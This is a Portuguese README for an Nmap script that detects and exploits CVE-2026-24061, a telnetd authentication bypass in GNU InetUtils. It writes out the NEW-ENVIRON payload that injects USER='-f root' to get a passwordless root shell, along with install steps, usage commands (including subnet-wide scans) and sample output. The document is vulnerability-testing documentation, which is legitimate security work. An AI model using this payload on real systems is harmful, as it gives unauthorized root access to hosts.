
O script realiza uma negociação Telnet completa, espelhando a sequência exata de bytes de uma sessão real do cliente telnet -a.
Este script NSE do Nmap detecta a CVE-2026-24061, uma vulnerabilidade de bypass de autenticação nas versões 1.9.3 a 2.7 do telnetd do GNU InetUtils.
Ao enviar uma variável de ambiente USER maliciosa no formato durante
a negociação de opções do Telnet, um atacante não autenticado pode obter um shell com os
privilégios do usuário local especificado — incluindo — .
-f <nome_de_usuário>rootUso Pretendido: Apenas para testes de penetração autorizados e avaliação de vulnerabilidades.
Executar este script contra sistemas sem permissão escrita explícita é ilegal.
| Campo | Valor |
|---|---|
| ID CVE | CVE-2026-24061 |
| Afetados | GNU InetUtils telnetd 1.9.3 – 2.7 |
| Pontuação CVSSv3 | 9.8 Crítico |
| Vetor | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Tipo | Bypass de Autenticação (CWE-287) |
| Divulgação | 2026-01-01 |
O telnetd do GNU InetUtils usa a opção Telnet NEW-ENVIRON (RFC 1572) para receber
variáveis de ambiente do cliente durante a fase de negociação. O programa login(1)
é então invocado com essas variáveis.
A vulnerabilidade surge porque o telnetd passa a variável USER diretamente para
o login sem sanitizá-la. O programa login no Linux aceita um sinalizador -f <usuário>
que significa "pré-autenticado, não verificar senha". Ao injetar
USER="-f root" via payload NEW-ENVIRON, o atacante contorna a autenticação
completamente.
Cliente → Servidor: IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE
Resposta do servidor: inicia login -f root → shell root, sem exigir senha
| Campo | Valor |
|---|---|
| Nome do arquivo | telnet-vuln-cve-2026-24061.nse |
| Categorias | vuln, exploit, intrusive |
| Porta | TCP/23 (telnet) |
| Testado em | Nmap 7.94 / 7.98, Windows e Linux |
O script realiza uma negociação Telnet completa, espelhando a sequência exata de bytes
de uma sessão real de cliente telnet -a (reconstruída a partir de captura Wireshark):
DO TTYPE, DO TSPEED, DO ENVIRON, …)WILL TTYPE, WILL LINEMODE, …)SB TSPEED, SB ENVIRON, SB TTYPE)USER='-f <usuário>' malicioso no payload NEW-ENVIRON ISWILL ECHO / DO BINARY / WONT LINEMODEEstados de resultado:
| Estado | Significado |
|---|---|
EXPLOIT | Prompt de shell recebido — bypass confirmado |
LIKELY_VULN | Payload ENV aceito, sem prompt de senha, mas sem prompt de shell |
NOT_VULN | Prompt de senha visto, ou negociação não foi concluída |
# Copiar para o diretório de scripts do Nmap
sudo cp telnet-vuln-cve-2026-24061.nse /usr/share/nmap/scripts/
# Atualizar o banco de dados de scripts
sudo nmap --script-updatedb
# Copiar para o diretório de scripts do Nmap (ajuste o caminho se necessário)
copy telnet-vuln-cve-2026-24061.nse "C:\Program Files (x86)\Nmap\scripts\"
# Atualizar o banco de dados de scripts (executar como Administrador)
nmap --script-updatedb
nmap -p 23 --script telnet-vuln-cve-2026-24061 <alvo>
# Forma curta
nmap -p 23 --script telnet-vuln-cve-2026-24061 --script-args user=kali <alvo>
# Forma média
nmap -p 23 --script telnet-vuln-cve-2026-24061 --script-args telnet-user=kali <alvo>
# Totalmente qualificada
nmap -p 23 --script telnet-vuln-cve-2026-24061 \
--script-args telnet-vuln-cve-2026-24061.user=kali <alvo>
nmap -p 23 --script telnet-vuln-cve-2026-24061 192.168.1.0/24
nmap -p 23 --script telnet-vuln-cve-2026-24061 -v <alvo> # verboso
nmap -p 23 --script telnet-vuln-cve-2026-24061 -d <alvo> # depuração
nmap -p 23 --script telnet-vuln-cve-2026-24061 -d2 <alvo> # rastreamento hex completo
PORT STATE SERVICE
23/tcp open telnet
| telnet-vuln-cve-2026-24061:
| VULNERABLE:
| Bypass de Autenticação no telnetd do GNU InetUtils
| Estado: VULNERABLE (Explorável)
| IDs: CVE:CVE-2026-24061
| Fator de risco: Crítico CVSSv3: 9.8
| Descrição:
| O serviço telnetd no GNU InetUtils (1.9.3 - 2.7) permite
| bypass de autenticação via variável de ambiente USER maliciosa.
| Enviar '-f <usuário>' resulta em um shell de login não autenticado.
| Informações adicionais:
| Bypass de autenticação: prompt de shell recebido após injetar
| USER='-f root' -- nenhum desafio de senha foi apresentado.
| Referências:
| https://nvd.nist.gov/vuln/detail/CVE-2026-24061
| https://github.com/JayGLXR/CVE-2026-24061-POC
|_ https://github.com/SafeBreach-Labs/CVE-2026-24061
PORT STATE SERVICE
23/tcp open telnet
(sem saída do script — NOT_VULN é silencioso por design, convenção padrão do Nmap)
| Argumento | Alias(es) | Padrão | Descrição |
|---|---|---|---|
telnet-vuln-cve-2026-24061.user | telnet-user, user | root | Nome de usuário a injetar via -f |
O telnetd do GNU InetUtils usa a negociação Linemode (RFC 1184) para determinar o
modo de E/S do terminal. O servidor envia DO LINEMODE no início da negociação, e o
cliente inicialmente responde WILL LINEMODE. Após a troca do payload ENV, o servidor
envia WILL ECHO seguido de DO BINARY. Neste ponto, o cliente deve responder
com WONT LINEMODE para sinalizar o modo caractere-a-caractere — somente então o telnetd
pode concluir a configuração do PTY (ioctl TIOCSWINSZ) e iniciar o login. Sem esta etapa, o
servidor registra peer died: Inappropriate ioctl for device e encerra a conexão.
A API de socket NSE do Nmap difere das convenções padrão de socket Lua:
-- Nmap NSE (correto):
local status, data = sock:receive_bytes(1)
if status == true then -- data é a string recebida
Este script é fornecido apenas para testes de segurança autorizados e fins de pesquisa. O autor não é responsável por qualquer uso indevido ou dano causado por esta ferramenta. Sempre obtenha permissão escrita explícita antes de testar sistemas que você não possui.